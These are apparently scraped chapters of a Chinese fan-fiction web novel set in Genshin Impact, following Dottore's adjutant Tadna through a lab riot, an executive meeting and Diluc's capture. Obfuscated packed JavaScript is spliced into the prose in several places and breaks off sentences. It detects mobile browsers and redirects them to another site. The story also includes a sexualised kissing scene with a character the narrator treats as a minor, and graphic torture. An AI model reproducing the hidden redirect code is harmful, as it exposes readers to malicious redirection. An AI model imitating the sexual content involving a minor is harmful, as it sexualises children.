赞迪克语气冰冷:“敢于冒犯愚人众执行官的权威,我并不认为这些人还有活下去的必要。至于规定,我违反的规定还不够多吗?” 果然……这个疯子。 我暗暗收紧垂在腿边的手,掌心覆上一层薄薄的汗。 少年切片:“你要杀了这些人?” 赞迪克反问:“有何不可?” 我努力维持着内心的平静:“大人,这些人能够趁着转运实验素体的间隙前来闹事,背后肯定有人操纵。若是能从这些人身上问到关于幕后之人的消息,或许能尽快解决这次的事端。” “既然如此,等拷问完后再杀掉就好了。”赞迪克全然一副不在意的模样。 他看向少年切片:“还是说,你有异议?” 少年一脸莫名:“我有什么异议?” 少年顿了一下,眼神扫过我。 “随便怎么样都行,我对那群人的死活不感兴趣。” “呵呵。”赞迪克满意地笑了两声。 我明白这件事的结局已经无法扭转,只能看着赞迪克吩咐下去。 那恶意满满的视线啃噬着我的皮肤,不久后离开。 我稍稍松了口气。 说实话,我和赞迪克实在是相处不过来。 虽然理论上而言赞迪克所处的那个时间段,我已经成为了多托雷的下属,也与之一起度过了相当长的一段时间,经历过被共同流放,也经历过活力之家的种种。 那段遥远的回忆,如今想来或许偶有轻松的时刻,但果然,多托雷或许比我预想中的还要在意那次“背叛”。 等到赞迪克带着人走后,我听到身边的少年不满地呢喃了一句。 “啧,早知道就反对好了,看到这家伙高兴比我自己不高兴都难受。” 我叹了口气。 “事已结束,如此,大人,我就先离开了。” “为什么?”衣袖被抓住,少年红水晶般的双眼泛着微光。 “你不是说过事情做完会来找我的吗?” 我噎了一下。 少年追问,语气中带着急切。 “你都好久没来看过我了。” 我:“……” 我:“明明只有两天而已……”而是还是因为多托雷的缘故才不得不…… 红水晶离得更近。少年温软的气息近在咫尺。 “两天也很久了。我一直很想你,你不是说过吗?我是你最喜欢的人,你想食言了吗?” 少年的语调又低又软,带着勾人的意味。 被拉扯住的那只手被抱紧在少年的怀中,柔软的指腹顺着敞开的袖口抚上去。 我感受到一阵发麻的痒意。 “没有……大人。”我败下阵来。 “那你再陪我一会儿,好不好?” “……好。” 被少年拉进了熟悉的会议室,等到少年熟练地锁上门,将我推到椅子上,整个人都伏在我的身上的时候,我才后知后觉地感受到一点不妙。 “等等,大人……” 少年抬头:“怎么了?” 我很少会和少年切片离得这么近,因为一些原因,我总会刻意拉远与少年切片的距离。 后来再想想,或许是出于心中那仅存的,对“冒犯未成年”的罪孽感。 这么近的距离,连吐息也纠缠在一起,我甚至能感受到少年略微紧绷的肌肉。 耳垂上,那蓝色试管的耳饰被少年伸手把玩着,耳坠牵连着耳垂的皮肉,带来一点拉扯的疼痛。 我手脚僵硬,明明有很多话想说,但好似又都被少年漫不经心的动作给打断了,最终只能嗫嚅着说出一句最不要紧的话。 “您……您离得太近了……” “可是,明明你和Theta切片,和‘本体’在一起的时候,也离得这么近啊。” 少年一手按着我的侧脸。 “你为什么这么紧张?还是说,你更喜欢这个样子?” 柔软的唇瓣印上我的嘴角,稍微停顿了一下便顺着唇缝钻进去,即使动作稍显生疏,但却很温柔,也很认真。 我感到头皮发麻,想要推开少年却被警告性地掐了一下腰。我颤抖了一下,乖乖张开嘴,任由少年在口腔之中扫荡着。 唇舌纠缠之间,那点微弱的背德感被融化在发热的大脑之内。 少年的技术进步地很快,甚至可以说是“神速”。那掠夺的力度和深度变得愈发强烈,我开始有些喘不过气来,被亲得头晕眼花,手脚发软。 这样缠绵的交缠终止于一阵急促的“嘀嘀”声。 我大梦初醒般地推开身上的少年,手指抚上耳朵上一直闪烁鸣叫的耳坠,顷刻间惊出一身冷汗。 被打断兴致的少年明显不高兴。 他问:“这是什么?” “一种‘提醒’的手段。”我用掌心包裹住细长的试管,在温度升高后,耳饰停止了那令人心燥的鸣声。 “抱歉。”我说,“我的自由活动时间结束了。主人让我早点回去。” 少年咬牙,看向我耳饰的表情让人丝毫不怀疑下一刻他就会打碎这玩意儿。 “‘本体’加上的东西?” 我点头。 自从上次那场粗暴的警示后,多托雷对我在外的活动时间掌控的越来越严苛。 他似乎已经完全放弃让我自觉控制自己的活动时间了,毕竟违背的次数实在太多。 为了确保我能够及时回去,多托雷在耳饰上加了一点小东西,在多托雷规定的“放风时间”结束的时候,耳饰会发出声音来“提醒”我。 当然,出于“人性化设计”的考虑,多托雷也考虑到了类似于我“赶回去的时间过长”或者“不愿意回去”的特殊情况。 耳饰提醒的时间可以由多托雷远程操纵,第一次提醒是在“放风时间”结束的那一刻,耳饰会发出不停的“嘀嘀”声和闪烁,要及时地让耳饰的温度升高才能关闭。 而第二次提醒,则是在“超时后的第一个小时”,若那时我还没出现在多托雷身边,便会被视为“违反命令”。耳饰会放出微弱的电流,作为惩罚,电流只能由多托雷亲手关闭。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“主人,”我压制着声音的颤抖,“第12号实验室的暴乱已经被压制了,所有闹事人员均已被控制。我已经让人尽快安排拷问了,应该很快就能够找到背后的主谋。” “干得不错。看来即使安逸的日子过了快一百年,你也依旧没忘记作为鹰犬的本领。这一点,很好。” 多托雷不咸不淡地夸赞。 我咽了下口水。 “主人,还有一件事。关于那些被关押起来的闹事人员,Beta切片大人下令要将那些人处死。” “Beta虽然已经被禁止参与这件事,但12号实验室的管理权限暂时还在他手里。这样无关紧要的事情,不必再与我汇报了。” 多托雷的语气都没变。 无关紧要…… “是。” 事已至此,我只能放弃再计较这件事。 虽然我原本的打算是让那些人在监牢里反省自己的过错,但一来我并没有事先承诺会保证这些人平安无事,二来…… 我想起让下面的人搜寻的关于“实验素体上供”的具体细节。 那位中年男子并不是好人,甚至可以称得上是“劣迹斑斑”。 他痴迷喝酒和赌博,对自己的家人也并不好,时常在心情不好时拳脚相加。甚至于,在从自己所谓的“家人”手里压榨不出更多的钱财后,他毫不犹豫地选择了“贩卖”自己的家人。 报酬仅是100万摩拉。 或许作为利用这些人引出幕后黑人的“我”并没有资格裁定这些人的生死,但若是让我劝服自己冒着“违逆多托雷的风险”去救这些人,我也很难做到。 我自认并不是一个完全的“好人”,也不能算作“善良的人”。 我只是无法拒绝来自别人的,合乎情理的“求救”,也无法强迫自己,在“不值得之人”身上浪费气力。 这样想着,我的心里好受了很多。 在多托雷身边蹉跎半日,我收到了眼线发来的消息,被派往监视各种异常情况的士兵在中年男子所说的那棵树下抓到了一名鬼鬼祟祟的家伙。 49.第 49 章 提起至冬的市长,那位执行官第五席的【公鸡】普契涅拉大人,所有人的第一印象大概是:一位优秀的,爱民如子的大人物。 但如果是让我来斗胆评价一下的话,我会称这位大人为:一名出色的政治家。 无需过多的辞藻修饰,“政治家”便是对【公鸡】大人最为准确的评语。 精明,理性,奉行“必要的牺牲”以及“多数人的利益”,他的权利遍及各处,总之,人们对一个“政治家”的想象,都能在【公鸡】身上找到。 我并不是很喜欢与这位大人打交道。 某些时候,这位【公鸡】大人带给我的压力,更甚于多托雷。 “感谢您的理解。”我看向这位身材矮小的老人,呼吸的节奏刻意放轻。 这位【公鸡】大人,身着繁琐的贵族服装,此刻正端坐在一方办公桌后,金色的眼睛透过那镜片微微朝我的方向看来。 【公鸡】的态度异常祥和:“【博士】是愚人众创建以来便已就任的执行官,他的贡献与功绩有目共睹。当然,你也是。” “您言重了……” “呵呵,不必如此谦谨。【博士】虽然才华横溢,但却不善与其他执行官的交往。你在【博士】身边周转斡旋,这样的位置,也不是什么人都能做的。” 我有些紧张地应着话。 【公鸡】又说了些什么,大概总结一下便是:多托雷虽然很无辜,但也并不是完全没错,被抓的那些人涉及至冬的老贵族,可能处理结果不会太理想。 对了。 至冬的那些老贵族。 我想起在来这里之前刚得到的调查结果。 一部分贵族因为看不惯多托雷与【富人】合作推出的一些产品,所以想要借这件事情给多托雷泼脏水,进而逼迫这些影响了他们利益的产品退出市场。 先不说这个逻辑到底有没有用,多托雷名声早就差成那样了,还需要费这么大的劲儿专门泼一盆定制脏水吗? 甫一得到这个结果的时候,我忍不住笑了一下。 身边路过的人都以一种“看神经病”一样的眼神看我。 这是第一次我觉得多托雷还有点倒霉,要不然怎么会被这群连脑子都在夺权战争中被收缴走的“蠢货”给缠上? 此刻是第二次。 那些濒临落魄的老贵族虽然没有什么实权,但却不能轻易动手,即使是愚人众,也要顾及着这群人的表面面子。 虽然有足够的证据证明这些人在背后动的手,但大概率,只会追究那些直接动了手的人的责任,而那些人,不过是这些贵族退出的“替罪羊”罢了。 多托雷必定要吃下这次亏,虽然他本人对这次事情好像并不是特别在意。 毕竟,理论上是赞迪克受这次事件的影响更大。 从【公鸡】处出来,我遇到了一个意料之外的人。 赞迪克。 或者说Beta切片。 远远看见那道身影的时候,我还没松下的那口气差点倒过去。就在我准备放轻脚步悄悄离开的时候,赞迪克看了过来。 赞迪克皱眉:“你在那里鬼鬼祟祟地干什么?过来。” 逃跑计划,大失败! 我硬着头皮走过去,在赞迪克一米远的距离停下。 “大人。” 赞迪克上上下下看了我一眼:“为了实验室暴乱那件事?” “是……” “结果如何?” “【公鸡】大人说会追责那些唆使闹事之人的家伙。” 赞迪克冷冷地嗤了一声。 我低头。 “不用这副样子,一副见了我就恨不得离我二里地远的表情。我又不会吃了你。” 您是不会吃人。 您干的事比“吃人”还可怕。 但我还是尽量保持恭敬地回复:“是,大人。” 赞迪克向我的方向迈进一步。 我下意识挪脚往后退。一不小心触及到赞迪克不耐烦的眼神,又小心翼翼地把脚放回原地。 赞迪克:“……” 赞迪克:“啧。” 我盯着脚下的地面,连口水都不敢咽。 赞迪克稍微往后退了半步。 “行了,我并不是来兴师问罪的。”赞迪克语气稍微放缓,“这件事也不是你能决定的。‘本体’那个家伙都不在意这件事情,更何况是【公鸡】。为了所谓的‘平衡’,真是可笑。那些落魄的贵族,充其量也不过是社会的边角料而已。” “是……”我有些汗流浃背了。 “这件事,虽然没有达到想要的结局,但是,你做的还不错。” “是……欸?” 我抬起头。 “这副表情是什么意思?难道在你的眼中我是什么不讲理的人吗?”赞迪克抱着双臂,那双猩红色的双眸依旧温度冰冷,但在看向我的时候,总算不只是带着满盈的恶意。 他说:“你这家伙,倒是比以前看着聪明点。” 甚至有点莫名其妙的……欣慰? 我为脑海中突如其来出现的这个想法惊出一身冷汗,以至于被赞迪克大发慈悲放走的时候,还精神恍惚。 关于实验室暴乱的事情就此落幕,至此,各方都获得了想要的结局,【公鸡】如愿以偿的将大事化小,贵族那边只不过得了一个轻飘飘的警告,多托雷压根不在乎这件事。 除了赞迪克。 但这样些微的不满最终也只是被埋葬在众人的沉默之下。 在那之后,我去看了那日实验室暴乱被抓住的那些人的“行刑日”。 说是“行刑日”,其实只是完全绕过了司法体系对这些人进行的“私人的报复”而已。 执行的人是赞迪克手下很信任的部属。 我混在数量冗杂的人群中旁观着。 这是赞迪克的要求,据说是要让所有人都看清楚“进犯执行官”的下场。 同样被“处刑”的还有被揪出来的、赞迪克手下的背叛者,那些与幕后黑手勾结,通风报信之人。 “处刑”持续了足足三个小时,哀嚎和求饶声不绝于耳,其中夹杂的,甚至还有对【博士】指名道姓的谩骂。但此人很快被割去了舌头,只能发出无意义的嘶鸣。 我麻木地看着,等到眼睛干涩的时候才会眨动一下眼睛。 我说不清自己内心是怎样的想法,只知道心房里激荡的情绪绝不是“同情”或是“怜悯”,也非“害怕”和“惊惧”。 身边传来一阵脚步声。 少年切片穿过人群,来到我的身边。 “本来只是路过,但在人群中看到你了。你现在不是应该在壁炉之家吗?据说''本体''把这件合作的洽谈交给你了。” “您真是消息灵通。”我叹了口气,“事实上,我刚从壁炉之家回来。” “结果如何?” “被骂了一顿。” 少年切片笑了一声,似乎是被我逗笑了,也可能是幸灾乐祸。 “那你可真是倒霉。”他说,“新上任的【仆人】是【队长】举荐的,听人说,是个最嫉恶如仇不过的。” 好吧,看来是后者占比更多。 我想起早上的经历。 “那位大人还说如果再看到我的话,会毫不犹豫地出手。” 少年切片的笑容戛然而止。 “就凭她?一个区区第四席?”少年的声音带着点咬牙切齿,“哦,我忘了,这一届的【仆人】好像连第四席都不是,实力低到虽然被保荐了执行官,却只能当个第七席。真是废物。” 我只是轻笑,安慰少年切片。 “那位大人年纪尚轻,说出来的话听一半就好了,您不必如此生气。” 少年:“我是在为你生气!你听不出来吗?” 我愣了一下。 腰间的软肉被隔着衣料狠狠揪住,我疼得嘶了一声,那力气又很快松开。 “抱歉……” “''抱歉''有什么用?你只会道歉吗?平时对我和Beta切片的时候那么巧舌如簧,怎么换了一个执行官你就任由别人威胁你了?平时的神气呢?” “抱歉……” “不准说''抱歉''!” 于是我闭嘴了。 少年气得在我腰上再用力捏了一下。那块软肉变得又疼又麻,即使是被布料轻轻摩擦也会发疼,不用看也知道肯定是紫了。 少年:“你真是要气死我!” 少年切片脸上的愤怒绝不似作假。 我心绪一动,往侧边走两小步,离得与少年切片更近,声音带上点委屈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正中央那平时总是摆放着一床实验台的地方,如今被一座高大的圆柱形玻璃容器取代,容器顶连接着数根粗壮的管道,似乎是用来输送什么的,管道堆叠,顶部贴近天花板。 而在那座巨大的容器之内,充盈着两米多深的透明液体。 奇怪的是,容器里面并没有任何东西。在容器周围,是一张并不算大的桌子,上面摆放着各式的试管和工具,且似乎都是潮湿的,就好像,是被带出来的水淋湿了一样。 被谁? 我的脑海里蓦然浮现起有人从容器里打开盖子爬出来的场景。 不可能吧…… 如果是人的话,怎么可能能在两米多深的溶液里存活? 我在心里安慰着自己,但大脑又忍不住轻声提醒:可若是,不是“人”呢? 比如—— 切片…… 我靠近那巨大的玻璃容器,在隐约的反光之中看到自己的脸,以及…… “塔德纳。” 身体被一双有力的手臂环住向后靠去,我落进一个还带着水,湿漉漉的怀抱之中。 在玻璃容器的反光之中,我看见熟悉的机械独眼,在我的耳边。我和那机械眼的视线在反映中交汇。 “Theta切片?!” 我吓了一跳,肩膀扭动想要逃走,却被卡在腰间的手更用力地往回按,手劲很大,我疼得倒吸凉气,腰使不上力。 我几乎不敢相信我的眼睛。 Theta切片?他,他不是已经……被我销毁了吗? 可那双机械独眼,那熟悉的语调,甚至是熟悉的气息,都在告诉我,此人,确实是Theta切片无疑。 Theta切片靠在我的脖颈处,他的身上湿透了,甚至还在滴着水,那冰冷的液体便顺着Theta切片的脸和头发滑进我的衣领里面。 耳边是Theta切片的声音。 “塔德纳,我好想你。从意识陷入休眠后的每一刻,我都在想你。”禁锢的力度大到恨不得碾碎我的手臂。 我的背后惊出细细密密的一层冷汗。 50.第 50 章 “Theta,你这样会吓到他的。” 多托雷从实验台后绕出来。他穿着惯常的衣服,脸上的表情因为面具的遮挡无法窥探,只能从那轻微上扬的语气推断他现在愉悦的心情。 “该看的戏看完了吧?既然如此,我是不是可以走了?” 另一道稍显得青涩的声音响起。 是赞迪克。他站在多托雷不远处。 “不用如此心急,Beta。”多托雷轻笑,“Theta同为切片的一员,在经历了那样严重的毁损之后,好不容易才再次重启。或许,你应该对他的归来多一点喜悦。” “啧,你认真的吗?”赞迪克沉默片刻,“这个家伙,比起对自身,现在估计对塔德纳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951712|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的兴趣更高吧?” 就如同是在响应赞迪克的话语一般,Theta那潮湿冰冷的怀抱愈发收紧,背后紧靠的胸膛毫无动静,于是我只能听见自己愈发加快的心跳。 “疼……”我忍不住开口,“大人,您能稍微松开一点吗?” 回应我的是骤然变化的动作…… …… 51.第 51 章 人生苦短。 凡人的一生,似乎总被这样一句话所困缚,于是,要“珍惜时间”,要“在有限的时间里发挥无限的作用”。 但于我,“时间”的概念好似已经崩坏。 我既不需要像普通人一样忧心自己的寿数将至,更无需不断地鞭励自己,要不断地向前跑,不能慢下脚步,更遑论停下。 越过所有的岁月,如今,我已在多托雷身边陪随左右差不多五百年,我见证了一任又一任执行官的更迭,见证了多托雷造的越来越多的切片,也见证了,熟悉的人死去,陌生的人再来。 身边的一切更迭的太快,只有如多托雷一般依然随着时间流逝向前行走的人才能让我稍微感觉到“自己是活着的”这个事实。 我现在极少会去大张旗鼓地记住一些人的名字,对我而言,很多人,或者说绝大多数的人,都只能在我的生命中占据极小的部分,随后,便如同废品一样被清除销毁,连带着名字和与之相处的记忆。 与这位“迪卢克先生”的会面同样如此。 这个名字的出现大概是在一月之前,彼时至冬的实验室传来被不明分子摧毁的消息,远在枫丹的我甚至还稍微迷茫了一下。 多托雷没有说什么。 他或许对这件事根本不在意。实验室被毁了再建就是了,反正如今的愚人众来了一位极善弄财的执行官,资金上的问题,并不如以前一般需多加衡量。 当然,最主要的其实还是,与那位【富人】潘塔罗涅打交道的人是我。 那是一位狡猾精明,富有野心的执行官。 也正是因此,和这位执行官交谈总让人殚精竭虑。 话题扯远了。 回到这位“迪卢克先生”的身上吧。 在接到西南方位于地下的第89号实验室被炸毁的消息后,我即刻下令让人搜捕这位“胆敢冒犯执行官二席【博士】之权威”的胆大包天之人。 搜捕持续一个月,却没有任何结果,反而位于东部的几座实验室也遭到了毒手,为了及时遏止损失,我独自一人回到至冬稳定局面。 宫殿的会议室。 马不停蹄赶回至冬后,我受召来到了这里,代理多托雷参加了此次的执行官会议。 “想必诸位都知道今日召集诸位所为的原因。在过去的一个半月里,不知名的人士袭击了愚人众的多处据点,以及实验室。” 【丑角】位于上首,这位愚人众的统括官常年位居至冬,此次也是应这位大人的命令,诸位执行官汇聚于此。 说到“实验室”的时候,【丑角】的视线稍稍落在我的身上,我此刻站在多托雷惯常在的位置,于是轻轻颔首,与其他执行官看过来的视线错开。 【丑角】:“这位不明人士已经造成了多位士兵重伤,所造成的损失,更是不计其数。这一点,想必诸位已经收到了【富人】所呈之报表。” 在我的身边,那位戴着眼镜,眯着双眼的黑发执行官微微点头。 “如统括官大人所言。”他的声音温润,总是带着笑意,然而熟悉此人的人都知道,那看似温和亲近的笑容背后隐藏的是一条吃人不吐骨头的毒蛇。 潘塔罗涅轻笑,带着商人常有的算计。 “根据统计,愚人众损失了大型据点3处,中小型据点共35处,实验室那边,损失还在统计。但就目前来看,这样庞大的损失,将会是一笔难以承担的天文数字。” 【女士】看过来,目光似乎在我身上稍作停顿,但很快移开。 她看向潘塔罗涅。 “怎么?这笔损失,已经大到连把北国银行开遍全大陆的银行家老爷也觉得棘手的地步了吗?” 潘塔罗涅笑容不变:“每一笔摩拉的周转都应落到其应落到的地方,就如同分流汇聚主流,狭小的细涓才能变成壮观的江河。很显然,这笔损失,是飞来横祸。” “究竟是‘飞来横祸’,还是‘注定的报偿’?”对面,眼瞳奇特的女子开口。 愚人众第四席,【仆人】,阿蕾奇诺。与多托雷关系很差。 “根据壁炉之家的孩子们探查的消息,这位四处作乱的不明人士似乎是在寻找一些东西。对方目标明确,愚人众据点被集中摧毁的时间段在半个月之前,而最近,他似乎都只是将目标放在了实验室上面。” 随着阿蕾奇诺的话语,我感受到好几双眼睛瞬间落在我的身上。 我:“……” 【丑角】也看向我:“塔德纳,多托雷呢?” 顶着来自各个执行官的眼神威压,我稍微侧身。 “主人如今在枫丹的要事难以脱身,所有特地派遣我回来解决此事。” “那其他的‘多托雷’呢?” “其余大人也忙于各自事务,所以未能到场此次会议。” 潘塔罗涅轻笑出声。 【女士】也冷笑一声。 阿蕾奇诺开口:“是‘忙于事物’还是懒得抽出时间来解决自己的烂摊子?就算是二席,也不能如此轻慢愚人众的事务吧?” “并非是‘轻慢’。”我保持着冷静的语气,“【仆人】大人,虽然主人暂时缺席至冬,但这件事情,我已经取得了主人的授令,将全权负责解决此事。” 阿蕾奇诺:“你能确定其他的‘博士’也会听从你的命令?” 我微笑:“并非是‘命令’,【仆人】大人。我想,身在至冬的其他大人虽然因为各种事项遗憾未能来到这次会议,但诸位大人想要抓到这名祸人的迫切之心与各位大人是一般的。” “我虽然只是主人身边的一名普通副官,但也会竭尽全力与各位大人一同解决这次事件。” 阿蕾奇诺看向我。 这位一向与多托雷矛盾颇深,因此对我也不冷不热的执行官很快收回视线,那双总让我不太敢直视的双瞳便也收敛。 “看来,【博士】确实很信任你。”阿蕾奇诺语气冷漠,“既然如此,我没有意见。” 【丑角】看向众人:“其他人呢?” 【女士】摆手:“我也没什么意见。虽然【博士】置身事外的态度令人恼火,但如果是塔德纳对接解决这件事的话,就不用见到会让人心烦的人了。” 【女士】还是一如既往地讨厌多托雷。 潘塔罗涅见众人都已表态,才慢悠悠地开口道:“我也没有意见。” 【丑角】:“那么,这件事情便如此定下。三日后,我们将集结各方的力量展开集中抓捕。散会吧。” 我在心中稍微松了口气。 宣布散会之后,【丑角】率先离场,我站立在原地,准备等待其他执行官都离开后再出去。 但是没能实现,被潘塔罗涅叫住了。 近些年愚人众执行官的席位变动频繁,我与这位新晋的【富人】其实并无多少交集,只是,这位执行官曾找过多托雷,似乎有意与多托雷合作。 并不是指如以前那般浅层的合作。这位【富人】所图,并不仅止步于此。 我无法评价潘塔罗涅试图与多托雷合作的想法是否明智。这位第九席虽然是凡人之身,但他想要推翻人与神之间天生的不平等的愿望,足以让我在此之外对他保留一些敬意。 于是我转身面向潘塔罗涅,低头向这位执行官再次问礼。 “【富人】大人。请问找我有什么事吗?” 潘塔罗涅依然是那副笑眯眯的表情。他似乎很少在外面显露出其余的表情。 或许被别人挖苦到痛处时的阴冷算一种,但这样的情况在潘塔罗涅成为执行官后几乎不会再出现。 尽管现在的执行官们确确实实是一群缺少“同事情”的家伙。 潘塔罗涅笑道:“你是【博士】的人,不必对我如此疏远。我和【博士】达成了一系列合作,或许未来,我们还会有很多见面的机会。” “您说笑了。我只是主人身边很普通的下属而已。” “‘普通下属’可没办法参加执行官的会议。” 潘塔罗涅看着我:“你总管【博士】身边的大小事务,称得上是【博士】的‘代言人’。无论是资历还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然,我与【博士】有过相关的合作,资金方面我并不会太过吝啬。只是……”潘塔罗涅加重语气。 “只是鄙人也只是一介凡人,北国银行入库的钱再多,到底也抵不了实验室当成烟花炸着玩儿来损耗。” “虽然我在会议上没有明说实验室的损失,但具体情况,你这位【博士】最信任的副官应该比我更清楚才对。那位‘不明人士’一日未抓住,实验室的损失便要再翻一倍。” 我想起今早回至冬看到的那份拉长能绕至冬三圈的损失清单,头都有点大。 “请您放心。”我说,“我已经告知还在至冬的大人们驻守各方实验室,竭尽全力要抓住此人。” “既然如此,我便敬候你的好消息了。” 这位商人轻笑,对我点头示意后抬脚出了会议室。 我看着那拖曳的执行官披风消失在视野里,随即也离开会议室。 在驻扎的力量增强了好几倍后,最近两天,实验室果然没再传来被袭击的消息。 我周转于各切片与执行官之间,虽不至于力不能及,但难免感到身心疲惫。 在由【仆人】阿蕾奇诺,【富人】潘塔罗涅,【女士】罗莎琳等三位执行官的配合下,四方势力共同配合,对这位“不明人士”展开了联合追捕。 而通过一些特殊的渠道,我也知晓了这位炸毁四十余处愚人众据点以及数座实验室的人士的名字。 迪卢克·莱艮芬德。 蒙德的贵族。 这位贵族少爷的父亲死于非命,而其中,似乎有“邪眼”的参加。遵循这条线索,他来到了至冬,并在实验室成功找到了当初致使他父亲死亡的祸根。 拿到这份消息的时候,我正在犹豫是否要告知多托雷,而不久之后,第45号实验室传来消息。 致使愚人众重大损失的凶手,被抓住了。 52.第 52 章 “副官大人。” “大人。” “人在哪里?” “就关押在最里面的房间。” 我停下脚步,转头看向这位还算认识的愚人众。 两年前被我直接提拔为这处实验室的辅佐官,实力虽然并不出众,但好在足够识相,懂得“保持缄默”。 他的名字,我记得应该是,“普卢科”。 “普卢科辅佐官,许久不见,愿女皇的威光庇佑你。”我说。 原本沉稳的男子表情微动。 “塔德纳大人,没想到您还能记得我的名字……” “你是一位优秀的人才,记住你的名字并不是一件难事。” “您太抬举我了,如果当年不是您,我现在或许还只是一个小职员。” “不用如此贬低自己。”我笑着拍拍眼前此人的的肩膀。好在男子虽然高大,腰却弯的极低。 等寒暄的差不多了,我转换话题:“和我说说抓捕的场景吧。” “是,大人。”普卢科的神色转为正经。 “今早,第45号实验室被不明人士袭击,来人携带了大量的炸药,好几间重要实验间和素体关押间被摧毁。本来以现在驻扎的兵力是无法抓到凶手的,但好在,【博士】大人突然来了。” 我有些疑惑。 “嗯?哪位【博士】大人?” 普卢科也满脸问号地看我。 我反应过来。 “抱歉,我忘记了……算了,那那位【博士】大人呢?他现在在哪里?” “抓住人之后【博士】大人就离开了。” 我在脑海里思索了一圈。 如今还在至冬的切片,大多是近些年被创造出来的,因为切片处于的年龄段比较大,也更理性,所以,虽然性格上稍有差异,但总的而言,还算好相处。 不过…… 我想起一个身影。 能如此迅速抓到犯人,然后这样悄无声息离开的切片。 希望不要是那一位吧…… 我将扰乱的思绪稍稍平整,等到和普卢科来到所谓的“关押犯人的房间”后,我停下。 “大人?”普卢科看向我。 “‘犯人已经被抓住’这件事,除了我和【博士】大人,有告诉其他人吗?” “没有您或者【博士】大人的命令,暂时还没有宣张。” “很好。这件事情暂且压下。”我握上冰冷的门把手,“在我出来之前,谁问起,都不要泄露这件事。” “是。” 我推开门。 门内很黑。这是一间用于关押不听话的实验素体的惩戒室,所以不仅空间狭小,也没有窗户之类的东西。 我关上门,按开墙上的开关。 啪—— 刺眼的白光骤然亮起,我有些不适地闭眼,等眼球适应了这样的灯光后才睁开眼。 眼前,这间逼仄的房间里唯一的一把椅子上,坐着一位青年,衣服上带着血迹,而身体,则由数十根坚韧的黑色困缚带绑在椅子上,分毫不得动弹。 在我进来的那一刻,那被蒙头套着的头微微一动,似乎是在看我。 头套下面犹如火焰的红发轻颤。 迪卢克·莱艮芬德。 这位就是吗? 我在心中默念了一遍这个名字。 这位贵族比我预想中的似乎还要年轻一些。 如此想着,我走上前。 被刻意放大的脚步声响起两声,我能够看到眼前此人瞬间紧绷的身体。 我拽住那蒙脸的头套,用了点力往上一拉。 那是一张非常年轻的脸,却不会让人觉得青涩而生出轻视之意。想来,大概是因为那双红色的眼睛,尖锐锋利,看过来的时候,白色的灯光映在瞳孔之中,像是燃烧的火焰内焰。 我与那双眼睛直视,一瞬间竟然有一种被燃灼的痛感。 “迪卢克·莱艮芬德先生,对吗?” 青年抬头:“看来愚人众的信息网确实很灵通。你是【博士】的下属?” “【博士】大人的副官,您可以称呼我为‘塔德纳’。”我说。 “我知道你。”迪卢克的眼神变得犀利。 “你是【博士】最信任,最亲近的副官,而且,还与【博士】有着扭曲的肉.体关系。” 我愣了一下。 语气变得有些哭笑不得:“看来您的信息来源似乎有点……嗯,八卦。” “很多人都这么说。难道这件事是假的吗?” “倒也不能说是假的……”我叹了口气。 “我与主人之间的关系,确实很难用三言两语解释清楚。如果您希望的话,就那样称呼我也无所谓。” 我摆了摆手:“反正我也习惯了。” 迪卢克将我上上下下看了一眼。 “你和我想的不一样。” 我稍微来了点兴趣:“哦?哪里不一样?” 迪卢克说:“这段时间,我了解到了很多有关【博士】的事情,当然,也有你的。就在刚才,我也见到了【博士】,那是一个邪恶且傲慢的存在。我从不后悔踏上对抗【博士】之路的这件事,被抓也是技不如人。但你不一样。” 那双与多托雷迥然不同的红眸认真地盯着我。 “我从你身上,感受不到令人讨厌的气息。而且,我也听说过你虽然在恶人身边,却也帮助过不少人。” “‘帮助’……” 我咀嚼着这个词,将自己的身体斜倚在墙面上。 “或许吧。”我的语气带上一点笑意,“但容我提醒您一句,我可不是什么好人。助人为恶的事情,我也干过不少。” 迪卢克沉默了。 过了很久,他才重新开口:“你为什么要用‘您’?” 我一时没反应过来迪卢克说的是什么。 “啊?” “我是说,你对我的人称,为什么是‘您’这个敬语。” 原来是指这个吗…… 我回答:“只是习惯的用语而已。” 迪卢克语气斩钉截铁:“你习惯将自己置于‘下位者’的位置。” “哈哈。”我笑了两声,“对于我这样的人而言,这是‘保命’的基本要求。” 我站起来,拿出一柄匕首。 “看来您的消息比我想象中的要灵通很多,那么,想必您也知道,与愚人众,与【博士】大人为敌的下场。” “你要杀了我吗?”迪卢克警惕地看着我。 “不不不。”我转动着匕首,缓缓靠近迪卢克,“如您所见,我只是一介副官而已,对您的处置,需要由其他执行官一同商定,我无法自作主张。不过……” 泛着白光的刀刃靠近青年的脖颈,压出一条血线。 青年的眼中浮现出愤怒。 